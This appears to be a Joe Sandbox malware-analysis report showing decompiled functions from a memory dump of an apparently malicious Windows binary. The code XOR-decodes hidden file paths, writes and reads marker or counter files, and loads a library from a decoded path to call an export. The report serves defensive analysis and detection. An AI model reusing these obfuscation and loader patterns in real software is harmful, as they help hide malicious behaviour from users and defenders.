I, xrefs: 0041C25A
U, xrefs: 0041C1E1
:, xrefs: 0041C242
', xrefs: 0041C152
C, xrefs: 0041C1C4
V, xrefs: 0041C1B5
0, xrefs: 0041C170
M, xrefs: 0041C1A6
l, xrefs: 0041C1DC
:, xrefs: 0041C139
z, xrefs: 0041C166

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: ObjectSingleSleepWait
String ID: '$.$0$2$4$:$:$C$I$M$U$V$Y$d$l$z${
API String ID: 309074506-2986699499
Opcode ID: eb96c70319cd0b3451e5825f8352d491de8bb6029cd1e33e93e4916a575053ba
Instruction ID: fcf21cc62856f80bb5c310aab61f0a24f3f1c6b30d2e4690c96e373a58e0fda4
Opcode Fuzzy Hash: eb96c70319cd0b3451e5825f8352d491de8bb6029cd1e33e93e4916a575053ba
Instruction Fuzzy Hash: 3CB18C3150C3C1CAD321CB39988478BFFE46BA6714F484A5EF5E5972D2C2798149CB6B

Uniqueness

Uniqueness Score: -1.00%

Function 00412B30, Relevance: 33.3, APIs: 5, Strings: 14, Instructions: 86
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00412B30(void* __esi) {
				intOrPtr _v4;
				char _v264;
				char _v266;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v286;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				void _v304;
				long _v308;
				intOrPtr _t53;
				void* _t55;
				void* _t73;
				long* _t75;

				_t75 =  &_v308;
				_t53 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t53;
				_v266 = 0xc9;
				_v286 = 0xc9;
				_v284 = 0x7b;
				_v283 = 0x3a;
				_v282 = 0x59;
				_v281 = 0xfe;
				_v280 = 0x78;
				_v279 = 0xb0;
				_v278 = 0xb1;
				_v277 = 0x27;
				_v276 = 0x34;
				_v275 = 0xf8;
				_v274 = 0x7f;
				_v273 = 0x7a;
				_v272 = 6;
				_v271 = 0x30;
				_v270 = 0xcb;
				_v269 = 0xef;
				_v268 = 0x87;
				_v267 = 0xae;
				_v304 = 0x5e;
				_v303 = 0x6d;
				_v302 = 0x10;
				_v301 = 0xb0;
				_v300 = 0x3c;
				_v299 = 0xf9;
				_v298 = 0xe3;
				_v297 = 2;
				_v296 = 0x68;
				_v295 = 0x8c;
				_v294 = 0xc;
				_v293 = 0x1f;
				_v292 = 0x74;
				_v291 = 0x46;
				_v290 = 0xe5;
				_v289 = 0x8b;
				_v288 = 0xe6;
				_v287 = 0xda;
				_t55 = 0;
				do {
					 *(_t75 + _t55 + 0x18) =  *(_t75 + _t55 + 0x18) ^  *(_t75 + _t55 + 4);
					_t55 = _t55 + 1;
				} while (_t55 < 0x13);
				ExpandEnvironmentStringsA( &_v284,  &_v264, 0x104);
				GetLocalTime( &_v304);
				_t73 = CreateFileA( &_v264, 0x40000000, 0, 0, 2, 0, 0);
				WriteFile(_t73,  &_v304, 0x10,  &_v308, 0);
				return E00424873(CloseHandle(_t73), _v4);
			}

0x00412b30
0x00412b36
0x00412b3b
0x00412b46
0x00412b4a
0x00412b4e
0x00412b53
0x00412b58
0x00412b5d
0x00412b62
0x00412b67
0x00412b6b
0x00412b70
0x00412b75
0x00412b7a
0x00412b7f
0x00412b84
0x00412b89
0x00412b8e
0x00412b93
0x00412b98
0x00412b9d
0x00412ba2
0x00412ba7
0x00412bac
0x00412bb1
0x00412bb6
0x00412bba
0x00412bbf
0x00412bc4
0x00412bc9
0x00412bce
0x00412bd3
0x00412bd8
0x00412bdd
0x00412be2
0x00412be7
0x00412bec
0x00412bf1
0x00412bf6
0x00412bfb
0x00412c00
0x00412c02
0x00412c0c
0x00412c10
0x00412c11
0x00412c26
0x00412c31
0x00412c53
0x00412c62
0x00412c82

APIs

ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,?), ref: 00412C26
GetLocalTime.KERNEL32(0000003C), ref: 00412C31
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00412C4B
WriteFile.KERNEL32(00000000,000000E6,00000010,0000003C,00000000), ref: 00412C62
CloseHandle.KERNEL32(00000000), ref: 00412C69

Strings

:, xrefs: 00412B53
<, xrefs: 00412BBA
', xrefs: 00412B70
^, xrefs: 00412BA7
Y, xrefs: 00412B58
x, xrefs: 00412B62
m, xrefs: 00412BAC
h, xrefs: 00412BCE
t, xrefs: 00412BE2
{, xrefs: 00412B4E
0, xrefs: 00412B8E
F, xrefs: 00412BE7
4, xrefs: 00412B75
z, xrefs: 00412B84

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: File$CloseCreateEnvironmentExpandHandleLocalStringsTimeWrite
String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z${
API String ID: 2838349079-1073058172
Opcode ID: 37388e250c0d3da558317f92ab88a6508f4e7bf2038ca778009507825cbacb26
Instruction ID: 9d5602a8bff07f8f1bd6dde567594dbbd8fa68865cf92d56b2b83de2356b4480
Opcode Fuzzy Hash: 37388e250c0d3da558317f92ab88a6508f4e7bf2038ca778009507825cbacb26
Instruction Fuzzy Hash: 4C41112010C3C199D322D7389848B8FBFD15BA7218F488B9DF1E45A2D2C2759249C7AB

Uniqueness

Uniqueness Score: -1.00%

Function 004120C0, Relevance: 31.7, APIs: 4, Strings: 14, Instructions: 152
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E004120C0(void* __ebx, void* __esi) {
				intOrPtr _v4;
				intOrPtr _v20;
				char _v264;
				char _v266;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v286;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				signed int _v308;
				signed int _v309;
				intOrPtr _t73;
				void* _t75;
				long _t82;
				struct HINSTANCE__* _t86;
				signed char _t88;
				signed char _t96;
				signed char _t99;
				signed int _t110;
				signed int _t111;
				signed char _t114;
				signed int _t123;
				signed char _t124;
				void* _t125;
				signed char _t128;
				signed char _t137;
				signed char _t138;
				void* _t141;
				struct HINSTANCE__* _t142;
				struct HINSTANCE__* _t143;
				void* _t146;

				_t141 = __esi;
				_t73 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t73;
				_v286 = 0xc9;
				_v266 = 0xc9;
				_v304 = 0x7b;
				_v303 = 0x3a;
				_v302 = 0x59;
				_v301 = 0xfe;
				_v300 = 0x78;
				_v299 = 0xb0;
				_v298 = 0xb1;
				_v297 = 0x27;
				_v296 = 0x34;
				_v295 = 0xf8;
				_v294 = 0x7f;
				_v293 = 0x7a;
				_v292 = 6;
				_v291 = 0x30;
				_v290 = 0xcb;
				_v289 = 0xef;
				_v288 = 0x87;
				_v287 = 0xae;
				_v284 = 0x5e;
				_v283 = 0x6d;
				_v282 = 0x10;
				_v281 = 0xb0;
				_v280 = 0x3c;
				_v279 = 0xf9;
				_v278 = 0xe3;
				_v277 = 2;
				_v276 = 0x68;
				_v275 = 0x8c;
				_v274 = 0xc;
				_v273 = 0x1f;
				_v272 = 0x74;
				_v271 = 0x46;
				_v270 = 0xe5;
				_v269 = 0x8b;
				_v268 = 0xeb;
				_v267 = 0xc2;
				_t75 = 0;
				do {
					 *(_t146 + _t75 + 0xc) =  *(_t146 + _t75 + 0xc) ^  *(_t146 + _t75 + 0x20);
					_t75 = _t75 + 1;
				} while (_t75 < 0x13);
				_t128 =  *0x431c90; // 0x0
				_t110 = 0x2b7a + (_t128 + 0x00000079 & 0x000000ff ^ _v309 & 0x000000ff ^ 0x00000008 | 0x00000037) * 0x5d;
				_v309 = _t110 + 0x59;
				ExpandEnvironmentStringsA( &_v304,  &_v264, 0x104);
				_t111 = _t110 | 0x00007df3;
				_v309 = _v309 ^ _t111 + 0x00000066;
				_t82 = GetFileAttributesA( &_v264);
				_t150 = _t82 - 0xffffffff;
				if(_t82 != 0xffffffff) {
					L4:
					_push(_t141);
					_v308 = (_v309 & 0x000000ff) * _t111 + 0x762;
					_t86 = LoadLibraryA( &_v264);
					_t123 = _v308;
					_t142 = _t86;
					_t88 = _t123 + 0x59;
					_t114 = (_t88 & 0x000000ff) * _t123 + 0x29d6;
					_t143 = _t142;
					if(_t143 != 0) {
						_t124 =  *0x431c90; // 0x0
						_v309 = _t88 ^ _t114 + _t124 + 0x0000002b;
						_push(GetProcAddress(_t143, "t"));
						_pop(_t125);
						_t137 =  *0x431c90; // 0x0
						_t138 = _t137 + _t114 * _v309 * 0xb8;
						__eflags = _t138;
						 *0x431c90 = _t138;
						_t94 =  *0x431f18(5, _t125, _t143, 0);
						goto L7;
					} else {
						_t96 =  *0x431c90; // 0x0
						 *0x431c90 = _t96 | 0x00000061;
						return E00424873(_t96 | 0x00000061, _v4);
					}
				} else {
					_t99 = _v309;
					_t111 = _t99 & 0x000000ff ^ 0x00000049;
					_v309 = _t99 ^ _t111 - 0x0000005e;
					_push("s");
					_push( &_v264);
					if(E0041E0B0(_t150, 0) == 0) {
						L7:
						return E00424873(_t94, _v20);
					} else {
						goto L4;
					}
				}
			}

0x004120c0
0x004120c6
0x004120cb
0x004120d6
0x004120da
0x004120de
0x004120e3
0x004120e8
0x004120ed
0x004120f2
0x004120f7
0x004120fb
0x00412100
0x00412105
0x0041210a
0x0041210f
0x00412114
0x00412119
0x0041211e
0x00412123
0x00412128
0x0041212d
0x00412132
0x00412137
0x0041213c
0x00412141
0x00412146
0x0041214a
0x0041214f
0x00412154
0x00412159
0x0041215e
0x00412163
0x00412168
0x0041216d
0x00412172
0x00412177
0x0041217c
0x00412181
0x00412186
0x0041218b
0x00412190
0x00412193
0x0041219d
0x004121a1
0x004121a2
0x004121a7
0x004121c8
0x004121dc
0x004121e0
0x004121ea
0x004121f6
0x004121ff
0x00412205
0x00412208
0x0041223b
0x00412243
0x0041224e
0x00412252
0x00412258
0x0041225d
0x00412260
0x00412268
0x0041226e
0x00412270
0x00412293
0x004122a8
0x004122b2
0x004122b3
0x004122be
0x004122c8
0x004122c8
0x004122cc
0x004122d2
0x00000000
0x00412272
0x00412272
0x0041227a
0x00412292
0x00412292
0x0041220a
0x0041220a
0x00412211
0x0041221b
0x0041221f
0x00412228
0x00412235
0x004122d9
0x004122ec
0x00000000
0x00000000
0x00000000
0x00412235

APIs

ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000001), ref: 004121E0
GetFileAttributesA.KERNEL32(?), ref: 004121FF
LoadLibraryA.KERNEL32(?,?), ref: 00412252
GetProcAddress.KERNEL32(00000000,0042E3F0), ref: 004122AC

Strings

<, xrefs: 0041214A
h, xrefs: 0041215E
z, xrefs: 00412114
m, xrefs: 0041213C
F, xrefs: 00412177
0, xrefs: 0041211E
^, xrefs: 00412137
t, xrefs: 00412172
{, xrefs: 004120DE
x, xrefs: 004120F2
', xrefs: 00412100
:, xrefs: 004120E3
4, xrefs: 00412105
Y, xrefs: 004120E8

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: AddressAttributesEnvironmentExpandFileLibraryLoadProcStrings
String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z${
API String ID: 925820237-1073058172
Opcode ID: aad3c9ae391a922e99fbdebc18b9cee15a281e5af204b46d232b1e0b499c7335
Instruction ID: 311be7e1ca7dc58d2fc6943f0bfa339a4b235912cbdd32cef3934947355cd2ad
Opcode Fuzzy Hash: aad3c9ae391a922e99fbdebc18b9cee15a281e5af204b46d232b1e0b499c7335
Instruction Fuzzy Hash: 9851631010C3D199D311DB79988579BBFD45BA7328F485A9EF4E8872D3C269820DC76B

Uniqueness

Uniqueness Score: -1.00%

Function 004129C0, Relevance: 31.6, APIs: 4, Strings: 14, Instructions: 96
fileCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E004129C0(void* __esi) {
				intOrPtr _v4;
				char _v264;
				char _v266;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				void _v284;
				char _v286;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				long _v308;
				intOrPtr _t53;
				void* _t55;
				void* _t77;
				long* _t80;

				_t80 =  &_v308;
				_t53 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t53;
				_v286 = 0xc9;
				_v266 = 0xc9;
				_v304 = 0x7b;
				_v303 = 0x3a;
				_v302 = 0x59;
				_v301 = 0xfe;
				_v300 = 0x78;
				_v299 = 0xb0;
				_v298 = 0xb1;
				_v297 = 0x27;
				_v296 = 0x34;
				_v295 = 0xf8;
				_v294 = 0x7f;
				_v293 = 0x7a;
				_v292 = 6;
				_v291 = 0x30;
				_v290 = 0xcb;
				_v289 = 0xef;
				_v288 = 0x87;
				_v287 = 0xae;
				_v284 = 0x5e;
				_v283 = 0x6d;
				_v282 = 0x10;
				_v281 = 0xb0;
				_v280 = 0x3c;
				_v279 = 0xf9;
				_v278 = 0xe3;
				_v277 = 2;
				_v276 = 0x68;
				_v275 = 0x8c;
				_v274 = 0xc;
				_v273 = 0x1f;
				_v272 = 0x74;
				_v271 = 0x46;
				_v270 = 0xe5;
				_v269 = 0x8b;
				_v268 = 0xe6;
				_v267 = 0xda;
				_t55 = 0;
				do {
					 *(_t80 + _t55 + 4) =  *(_t80 + _t55 + 4) ^  *(_t80 + _t55 + 0x18);
					_t55 = _t55 + 1;
				} while (_t55 < 0x13);
				ExpandEnvironmentStringsA( &_v304,  &_v264, 0x104);
				_push(CreateFileA( &_v264, 0x80000000, 0, 0, 3, 0, 0));
				_pop(_t77);
				if(_t77 != 0xffffffff) {
					ReadFile(_t77,  &_v284, 0x10,  &_v308, 0);
					CloseHandle(_t77);
					asm("pushfd");
					asm("popfd");
					return E00424873(1, _v4);
				} else {
					return E00424873(0, _v4);
				}
			}

0x004129c0
0x004129c6
0x004129cb
0x004129d6
0x004129da
0x004129de
0x004129e3
0x004129e8
0x004129ed
0x004129f2
0x004129f7
0x004129fb
0x00412a00
0x00412a05
0x00412a0a
0x00412a0f
0x00412a14
0x00412a19
0x00412a1e
0x00412a23
0x00412a28
0x00412a2d
0x00412a32
0x00412a37
0x00412a3c
0x00412a41
0x00412a46
0x00412a4a
0x00412a4f
0x00412a54
0x00412a59
0x00412a5e
0x00412a63
0x00412a68
0x00412a6d
0x00412a72
0x00412a77
0x00412a7c
0x00412a81
0x00412a86
0x00412a8b
0x00412a90
0x00412a92
0x00412a9c
0x00412aa0
0x00412aa1
0x00412ab6
0x00412ad6
0x00412ad7
0x00412adb
0x00412b02
0x00412b09
0x00412b16
0x00412b1a
0x00412b27
0x00412add
0x00412af2
0x00412af2

APIs

ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,?), ref: 00412AB6
CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00412AD0
ReadFile.KERNEL32(00000000,000000E6,00000010,?,00000000), ref: 00412B02
CloseHandle.KERNEL32(00000000), ref: 00412B09

Strings

z, xrefs: 00412A14
<, xrefs: 00412A4A
F, xrefs: 00412A77
0, xrefs: 00412A1E
m, xrefs: 00412A3C
:, xrefs: 004129E3
{, xrefs: 004129DE
4, xrefs: 00412A05
Y, xrefs: 004129E8
t, xrefs: 00412A72
x, xrefs: 004129F2
^, xrefs: 00412A37
h, xrefs: 00412A5E
', xrefs: 00412A00

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: File$CloseCreateEnvironmentExpandHandleReadStrings
String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z${
API String ID: 2873326616-1073058172
Opcode ID: 5691a3000b2b3bde5f546020e0a33e1caae2e357b0c095166be4ecbabadb5bed
Instruction ID: ac6f161dd0208faa8909d6173b022be96482c54741a58b7b2132a75477e5d09c
Opcode Fuzzy Hash: 5691a3000b2b3bde5f546020e0a33e1caae2e357b0c095166be4ecbabadb5bed
Instruction Fuzzy Hash: 3741342110C3C199D322D77C984878FBFD55BA7218F488B9DF1E45A2D2D3B98249C76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040B610, Relevance: 31.6, APIs: 4, Strings: 14, Instructions: 93
fileCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E0040B610(void* __esi) {
				intOrPtr _v4;
				char _v264;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				long _v308;
				intOrPtr _t48;
				void _t49;
				void* _t53;
				void* _t69;
				long* _t71;

				_t71 =  &_v308;
				_t48 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t48;
				_t49 =  *0x4310b8; // 0xffffffff
				if(_t49 == 0xffffffff) {
					_v299 = 0xb0;
					_v281 = 0xb0;
					_v275 = 0x8c;
					_v269 = 0x8c;
					_v304 = 0x7b;
					_v303 = 0x3a;
					_v302 = 0x59;
					_v301 = 0xfe;
					_v300 = 0x78;
					_v298 = 0xb1;
					_v297 = 0x27;
					_v296 = 0x34;
					_v295 = 0xf8;
					_v294 = 0x7f;
					_v293 = 0x7a;
					_v292 = 6;
					_v291 = 0x30;
					_v290 = 0xcb;
					_v289 = 0xef;
					_v288 = 0x87;
					_v284 = 0x5e;
					_v283 = 0x6d;
					_v282 = 0x10;
					_v280 = 0x3c;
					_v279 = 0xf9;
					_v278 = 0xe3;
					_v277 = 2;
					_v276 = 0x68;
					_v274 = 0xc;
					_v273 = 0x1f;
					_v272 = 0x74;
					_v271 = 0x46;
					_v270 = 0xe5;
					_v268 = 0x87;
					_t53 = 0;
					do {
						 *(_t71 + _t53 + 4) =  *(_t71 + _t53 + 4) ^  *(_t71 + _t53 + 0x18);
						_t53 = _t53 + 1;
					} while (_t53 < 0x11);
					 *0x4310b8 = 0;
					ExpandEnvironmentStringsA( &_v304,  &_v264, 0x104);
					_push(CreateFileA( &_v264, 0x80000000, 0, 0, 3, 0, 0));
					_pop(_t69);
					if(_t69 != 0xffffffff) {
						if(ReadFile(_t69, 0x4310b8, 4,  &_v308, 0) == 0 || _v308 != 4) {
							 *0x4310b8 = 0;
						}
						CloseHandle(_t69);
					}
					_t49 =  *0x4310b8; // 0xffffffff
				}
				return E00424873(_t49, _v4);
			}

0x0040b610
0x0040b616
0x0040b61b
0x0040b622
0x0040b62a
0x0040b632
0x0040b636
0x0040b63e
0x0040b642
0x0040b646
0x0040b64b
0x0040b650
0x0040b655
0x0040b65a
0x0040b65f
0x0040b664
0x0040b669
0x0040b66e
0x0040b673
0x0040b678
0x0040b67d
0x0040b682
0x0040b687
0x0040b68c
0x0040b691
0x0040b695
0x0040b69a
0x0040b69f
0x0040b6a4
0x0040b6a9
0x0040b6ae
0x0040b6b3
0x0040b6b8
0x0040b6bd
0x0040b6c2
0x0040b6c7
0x0040b6cc
0x0040b6d1
0x0040b6d6
0x0040b6da
0x0040b6e0
0x0040b6ea
0x0040b6ee
0x0040b6ef
0x0040b704
0x0040b70e
0x0040b72e
0x0040b72f
0x0040b733
0x0040b74c
0x0040b755
0x0040b755
0x0040b760
0x0040b760
0x0040b766
0x0040b76b
0x0040b77e

APIs

ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000000), ref: 0040B70E
CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040B728
ReadFile.KERNEL32(00000000,004310B8,00000004,?,00000000), ref: 0040B744
CloseHandle.KERNEL32(00000000), ref: 0040B760

Strings

x, xrefs: 0040B65A
z, xrefs: 0040B678
F, xrefs: 0040B6CC
', xrefs: 0040B664
<, xrefs: 0040B6A4
m, xrefs: 0040B69A
^, xrefs: 0040B695
{, xrefs: 0040B646
t, xrefs: 0040B6C7
:, xrefs: 0040B64B
h, xrefs: 0040B6B8
Y, xrefs: 0040B650
4, xrefs: 0040B669
0, xrefs: 0040B682

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: File$CloseCreateEnvironmentExpandHandleReadStrings
String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z${
API String ID: 2873326616-1073058172
Opcode ID: 7f290226f661f1aebdc1d3e9a597797309f38d232abe1ed92cf618547972fd15
Instruction ID: 92d2ff8cf28403adf249490fd5a5fa49a731d81ff0aa69ef22217d24cd89ae8c
Opcode Fuzzy Hash: 7f290226f661f1aebdc1d3e9a597797309f38d232abe1ed92cf618547972fd15
Instruction Fuzzy Hash: 8141142010C3C199D312DB28984878FBFD15BA6718F588A5DF1E85B2E2C3B5964DC76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040B780, Relevance: 31.6, APIs: 4, Strings: 14, Instructions: 81
fileCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E0040B780(void* __esi) {
				intOrPtr _v4;
				char _v264;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				char _v308;
				intOrPtr _t47;
				void* _t50;
				void* _t53;
				void* _t66;
				void* _t68;

				_t68 =  &_v308;
				_t47 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t47;
				 *0x4310b8 =  *0x4310b8 + 1;
				_v299 = 0xb0;
				_v281 = 0xb0;
				_v275 = 0x8c;
				_v269 = 0x8c;
				_v304 = 0x7b;
				_v303 = 0x3a;
				_v302 = 0x59;
				_v301 = 0xfe;
				_v300 = 0x78;
				_v298 = 0xb1;
				_v297 = 0x27;
				_v296 = 0x34;
				_v295 = 0xf8;
				_v294 = 0x7f;
				_v293 = 0x7a;
				_v292 = 6;
				_v291 = 0x30;
				_v290 = 0xcb;
				_v289 = 0xef;
				_v288 = 0x87;
				_v284 = 0x5e;
				_v283 = 0x6d;
				_v282 = 0x10;
				_v280 = 0x3c;
				_v279 = 0xf9;
				_v278 = 0xe3;
				_v277 = 2;
				_v276 = 0x68;
				_v274 = 0xc;
				_v273 = 0x1f;
				_v272 = 0x74;
				_v271 = 0x46;
				_v270 = 0xe5;
				_v268 = 0x87;
				_t50 = 0;
				do {
					 *(_t68 + _t50 + 4) =  *(_t68 + _t50 + 4) ^  *(_t68 + _t50 + 0x18);
					_t50 = _t50 + 1;
				} while (_t50 < 0x11);
				ExpandEnvironmentStringsA( &_v304,  &_v264, 0x104);
				_t53 = CreateFileA( &_v264, 0x40000000, 0, 0, 2, 0, 0);
				_push(0);
				_push( &_v308);
				_push(4);
				_t66 = _t53;
				WriteFile(_t66, 0x4310b8, ??, ??, ??);
				return E00424873(CloseHandle(_t66), _v4);
			}

0x0040b780
0x0040b786
0x0040b78b
0x0040b792
0x0040b79a
0x0040b79e
0x0040b7a6
0x0040b7aa
0x0040b7ae
0x0040b7b3
0x0040b7b8
0x0040b7bd
0x0040b7c2
0x0040b7c7
0x0040b7cc
0x0040b7d1
0x0040b7d6
0x0040b7db
0x0040b7e0
0x0040b7e5
0x0040b7ea
0x0040b7ef
0x0040b7f4
0x0040b7f9
0x0040b7fd
0x0040b802
0x0040b807
0x0040b80c
0x0040b811
0x0040b816
0x0040b81b
0x0040b820
0x0040b825
0x0040b82a
0x0040b82f
0x0040b834
0x0040b839
0x0040b83e
0x0040b842
0x0040b844
0x0040b84e
0x0040b852
0x0040b853
0x0040b868
0x0040b882
0x0040b888
0x0040b88e
0x0040b88f
0x0040b892
0x0040b899
0x0040b8b9

APIs

ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000001), ref: 0040B868
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040B882
WriteFile.KERNEL32(00000000,004310B8,00000004,?,00000000), ref: 0040B899
CloseHandle.KERNEL32(00000000), ref: 0040B8A0

Strings

z, xrefs: 0040B7E0
x, xrefs: 0040B7C2
', xrefs: 0040B7CC
:, xrefs: 0040B7B3
<, xrefs: 0040B80C
t, xrefs: 0040B82F
4, xrefs: 0040B7D1
0, xrefs: 0040B7EA
m, xrefs: 0040B802
F, xrefs: 0040B834
^, xrefs: 0040B7FD
h, xrefs: 0040B820
Y, xrefs: 0040B7B8
{, xrefs: 0040B7AE

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
